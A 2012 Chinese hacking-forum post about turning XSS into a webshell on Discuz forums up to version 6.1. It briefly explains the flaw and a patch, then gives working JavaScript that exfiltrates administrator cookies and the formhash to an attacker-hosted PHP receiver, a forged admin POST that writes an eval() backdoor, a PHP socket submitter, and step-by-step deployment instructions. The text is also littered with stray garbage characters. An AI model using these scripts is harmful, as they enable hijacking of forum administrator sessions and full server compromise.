找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3713|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Discuz XSS得webshell
9 ^, ~& h1 b% D+ g' UBy racle @tian6.com
8 S: ^* v& O, B/ ]欢迎转帖.但请保留版权信息.5 {# x' Y" H8 v/ L, J
受影响版本iscuz<=6.1.0,gbk+utf+big5  ?* U6 u! |7 J2 I

9 E1 F& o3 {; P8 \% @( O新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.* W0 C! Y, c1 e: x7 B0 r8 K) {1 t
0 a7 l( i; V4 H) q( h7 K$ v9 [

' F5 b2 I& V: j5 Y) Z# Q3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
9 f+ u- a& P) h0 S/ k' ~当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.- r9 z7 @! Q# M5 a% Y- w% b1 m# M! o

5 C$ Y$ H8 J* L% H1 b' R* g分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
9 ?" J; e( i. a( d+ |: s, b本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS& k4 [  E4 B6 _5 R( X+ C+ d
, {1 U1 ^2 n  d* Z- l3 y
' Y! q: B" O& |% Z2 \' }
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
2 ]: h' I3 V5 ~) \5 ]# V& X$ B9 t- A6 f9 U
4 Z% E! [9 f( z# |& I# y
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
9 X, Y  |# m- j$ {9 ^2 l% W& v& M9 P" i+ ]
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
! E/ k: {# W/ M4 i" n: n$ f& h5 U" G+ q/ G' W* B9 [
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
3 I* c  ~+ w  ^$ o0 [+ U5 O* `
7 p, l8 p: C% U! A. Q# G& _' C
  T. d7 ?" T  M/ n下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
9 ?5 Y4 ], a0 v& T5 H- o+ e% k* w2 d) j2 R
        global $runwizardfile, $runwizardhistory;
! p5 q6 A5 V$ A1 o6 Q/ b$ {8 n9 ^' c$ _3 b
        $fp = fopen($runwizardfile, 'w');$ j! h4 G" P* ^1 w' D4 t( q  A
( T9 L/ m5 f6 b$ n# i, k! P8 n
        fwrite($fp, serialize($runwizardhistory));
/ R; e2 {# {* L4 m" X. ~$ M: S9 E5 P- e6 R1 t  \. Y4 A: J
        fclose($fp);0 B* t* }2 O9 O3 o) s& T( b. e5 X
& ]+ O; G- q7 T% D, C. _! b# t
}
6 q& x; d: n6 T( x, f复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里." u4 n6 u& B, t; x2 W% v+ q1 V" }
以下是修补的办法:function saverunwizardhistory() {
: Y) F9 C. J8 ]  f* o( E* B4 Q# e; m* E( A
        global $runwizardfile, $runwizardhistory;
9 `$ E5 }3 {# s/ ], d0 X" b8 a
7 L3 b  ^2 U5 u( b$ [9 ^/ i  j" [        $fp = fopen($runwizardfile, 'w');
; y% G' X/ T! R  B  i5 j# h5 C
( b  z3 p/ o6 V# w, T        $s = '<?php exit;?>';1 W9 {8 ]8 i6 o; n; x; ~1 p
! g) ?; B" o* N: {! @
        $s .= serialize($runwizardhistory);
  |6 g6 Y2 m1 C) m( @2 G' h9 H
2 p4 h. R/ L% B0 ?9 Z# i$ `6 I        fwrite($fp, $s);+ [2 D3 Z2 W( _: f

8 ?: _; u, T* j# b" p0 K        fclose($fp);. p1 _( l' Y& M1 U  L$ F
8 J8 Y+ i1 [% ?( A' w4 ?' W( p- h
}1 `; O& B+ W7 i. J& k6 \, c
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.% d: d! _+ f6 h

( Y1 d% B/ n" w2 x9 k7 f
) h$ T% z' e; k: v% |8 x9 L8 H9 g& k
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
7 H" |& A# Q  G9 G, V5 m- ^7 R6 `2 }0 j: [
! f4 x' q' G" w$ O# J8 a
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
- Y* }2 o; B+ M7 x8 i# C) ^# Y
/ m7 Q2 ]) o' K: g' }! T我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.. f3 l0 ]; g! u" f! F, W
- V" D) O- J( y5 \9 t% p/ V
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
6 B0 B4 }3 F2 H' I
/ y( t& N: J9 J5 x' x& J首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:5 c$ n. z  {, C, Y

  G* o* B, @) X! v0 Y. i8 Tvar url="http://目标网站/admincp.php";      $ T7 t8 s1 G) ?3 O' ~/ m9 r

6 w+ I1 F7 [- t8 ^/*获得cookies*/# n. ~9 Q. a: j* F& Q" |

# E  K5 a, g2 a3 D! D# Efunction getURL(s) {* f# p- n+ \6 t- e

% B: o9 x/ `' [$ ~/ ovar image = new Image();8 s7 }! x+ |& j# J0 u

1 t7 T: I# v7 z% B9 Simage.style.width = 0;
1 N; Y2 y) {' E# A  G* T% [( |% O2 b8 m' Y# Y% ]9 z
image.style.height = 0;
5 d" Z( F5 H, T0 R0 O6 D
/ p! K8 c' f+ d+ N8 a- zimage.src = s;
: l" P. x2 g+ G) \( s2 [9 |( H' c( A) t  q9 R3 L
}) a7 E# m0 G* W

% o* P* J- A( g7 J3 UgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
! D; g7 _- G) p/ W5 b6 E复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];% g9 r) `8 H0 k$ F0 B
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
/ u1 s6 |) [7 t8 c6 u, R/ b
4 M% \' i% s. g: M9 N; i. R. T: X/ M$ C" A
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
2 R  z; B9 \, X# I9 @6 }# P
# L# o# {, q) C, \' \! b1 D' @. r( A. |% {! U% {! n/ ^

9 M( l6 Z8 b# O% Y5 Q/*hash*/
2 G2 u$ N  U6 u, f; Q4 s) Q: T! i; F# R7 F
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");7 T9 T) y9 b: P0 H
2 S+ _' b- t  ?4 N9 B; r6 P4 l7 N# u
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
2 |, m: _& I. c1 T5 ~1 f8 c, ?$ F
xmlHttpReq.send();
1 a% `( I6 o- k0 [7 k+ S; u' g5 j7 C
var resource = xmlHttpReq.responseText;
* l% K9 o0 W7 x& a7 o: C" S; a' Q
4 N. x( M8 I( k( Pvar numero = resource.search(/formhash/);
$ W, s7 M/ _8 {$ h0 M4 ^) o4 D( F; o( P
var formhash=encodeURIComponent(resource.substr(numero+17,8));7 c/ q8 d5 S1 P. {4 e9 Z$ |
/ s9 A& }, X# x  c8 z

2 h  a5 L. t& n. c8 ^- \8 Z( w
% w9 Y& F1 C! w% L* f8 g* X& F7 Wvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
6 p% N  Z+ A  Q) R9 T1 d  h6 ]9 `( F" p8 G. a9 e8 W0 O* {
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
* D& I7 r2 ?/ m$ g1 n, @5 B# P& c" g8 Z& S, i$ x) M
xmlHttpReq.setRequestHeader("Referer", url);6 c5 c1 P6 X$ `2 ~5 N2 y

2 O, f8 v4 v8 f  z5 cxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");: q. N% ]: y0 V6 r2 C/ [3 k1 K' ~
$ S  y; P& O0 c/ k2 t* Z
xmlHttpReq.setrequestheader("content-length",post.length); $ b$ g2 ?. M" c& h

5 b# _; ?" l3 l# _# X4 @xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ! m1 l2 ^3 J1 j/ ^. u3 Q, b
+ F% `$ Q' D8 e" \. e
xmlHttpReq.send(post);//发送数据
! D+ i. e- f3 I1 i7 H复制代码这里HASH我假设正确,这样提交,也无须cookies
6 r" E( \# ^  Y8 ]/ U/ T- M3 M
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
0 ], }5 b( H' y0 |; {' h. z7 S$ ?# X  f2 Y! ?' @
if (!$sock) die("$errstr ($errno)\n");
: Z* W4 i9 g$ U' V% Z2 Y. }2 S. `. U6 R* j8 a/ `6 s0 ]. D2 f
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
( l& Z! Q6 {! i9 k( x" e* e
6 O! [# H% {# ~- s0 \) R
0 }6 O' O  Y$ P: D  d  Y9 N! M3 u' e+ h. y+ @/ u+ W
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
$ C6 e$ p, U1 a1 k: r! c' G
6 P- @4 V. Y- lfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");, \1 V2 _) l" G9 z% ]2 O; s+ ~

. w& d) M) w3 ~) y* x* p6 K( gfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
" M& R$ H- K) R
7 G- K7 E/ k. ~+ M8 M, ffwrite($sock, "Accept-Language: zh-cn\r\n");
9 e. u. K& X8 D# M0 u, {" [& B6 y6 U. w% L; a, x) v
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
4 k) D& M& f0 U, U( r4 m1 t3 H8 B$ @0 O
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");/ j$ H- e4 _( w. B0 e! r) |
1 E. |5 F% D, b4 _- q% ?
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");0 T. Q" W1 s& O3 O( ]6 ?) T

3 [% s, t- E$ s& b" {fwrite($sock, "Host: $url\r\n");, e! k8 H' K1 L: a# Y( D

" n. ^4 i0 U1 f( G3 n3 q2 ?7 X3 ifwrite($sock, "Content-Length: ".strlen($data)."\r\n");
0 u: X+ `- n& p5 F; R
/ |3 |9 Y# |9 r* E3 tfwrite($sock, "Connection: Keep-Alive\r\n");. M6 @6 d6 b/ r! f3 i4 L
% Y8 {! s& S" H) {% x
fwrite($sock, "Cache-Control: no-cache\r\n");
* D  n- U. b: a3 u
. Y- q( g) K/ `9 J8 N' J( Tfwrite($sock, "Cookie:".$cookies."\r\n\r\n");: i0 k" b, a1 x, k7 A
( O. U  M$ t( \$ G
fwrite($sock, $data);: H" w6 y9 b5 d# t: M& X

1 s) [0 L' d3 p' n5 z
$ V3 n) q% v0 t5 Y
4 c. K6 {0 a, b0 s. u; z& t2 X$headers = "";
7 Q% h$ |. Z. @" d  n' _8 l% M$ g& G& r2 s5 Y# B( J* q% O8 z
while ($str = trim(fgets($sock, 4096)))9 W; B! k3 F2 [$ `& W

/ h6 U4 W1 h  D& B6 K     $headers .= "$str\n";# ^7 f; e* A9 M$ B

+ Y9 ?, N( j- }" recho "\n";6 F% _% l5 _/ q

8 `) c) K( D& k; h. A& g$body = "";
& H3 G) [3 x0 H1 B. H! }  {) V1 n# _5 M0 d9 t1 X/ P$ C" d# e7 l! @
while (!feof($sock))3 n' t( J8 h  U
0 W! {7 J% b; B9 H0 x3 F
     $body .= fgets($sock, 4096);8 b% o  D( W8 C
1 r! H+ ~3 g" H& s4 j) [; a
fclose($sock);
3 _0 y- N- Q4 G2 f1 `( K) S+ G8 v+ o
echo $body;# k( ?* t5 G  S3 r
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^4 _5 ^/ c( X8 z. h) j' U( m, J" d9 l
# Z/ z6 M3 J! ]- `

5 i9 [5 `) `# S-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------4 g- x' d. |  M! r9 r# ]. |7 R. ^
! L; g# p2 ?$ |9 a" H. Z
3 J( b" v0 g1 ^( N- o- v
1HP SOCKET利用方法首先打开racle.js$ S) ], k3 w' s+ `
9 i: W# B* B0 ~4 T
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home4 B) C5 m% }3 I$ f! I# @

0 B- ]* w+ `/ }" x; `. b( Y  L1 p1 }- o" v+ t- h# g- l

, a/ w+ C$ v6 Y2 h然后打开racle@tian6.php
4 @( F8 W5 @5 u" E& o5 K3 S; ?, p3 `7 @0 L6 t% ?
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
0 l- V" w1 m& e2 d" y) P
2 Q0 H% u1 Q0 ^+ V( |- U; Z
: ~" Y* m, n. W) w* z3 y9 ^( a  K- s( v  E  M& I
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:" R4 o. r2 Z5 v& O
' t6 v$ k6 y- o' w
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
( I# C4 [! e: k
+ |/ \/ r$ b4 ?5 q* e+ r. e. D) l7 X& [( o. K9 ~
; L5 K' w6 p8 W2 ]
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
; i& A3 G( u+ h& F复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
9 e7 ]# c- K7 F9 H# |+ D" i
* U) b# [/ X9 B9 r+ ^# _1 w: |
2 ?* P  f4 \' V; R- M8 q/ M. R# H- |3 L! {$ W0 S: L
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
& e3 U! H4 u% c' d- T8 G- h5 V( ~; f) N) ]8 e9 {
var formhash=encodeURIComponent(resource.substr(numero+17,8));# k0 {& f/ b- i- h

+ t- `  b- v  J( W6 S8 `3 b9 M
  _4 X! {5 o# Y  X2 V4 R( T- q% P$ a# {/ T% Q( U. e+ A5 j6 g8 Y
var formhash=encodeURIComponent(resource.substr(numero+9,8));4 T0 A/ A* o* s, D/ e0 K! ^
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
9 p( D7 c3 K* g& ?) s0 @; j% c
. F! F: J; {9 [% y! F如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.7 B: I. Q2 j: Y7 x4 s* Y  Z' u3 F
0 @  L2 j$ Y2 V
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.7 b/ o* `# B6 C
! G# U% A: T/ m* i2 A  z. @* `5 [
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.3 B- M- ^% Y0 T( O/ a) }- O6 p
7 \# `! R( }, T) Q( X0 d/ l3 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表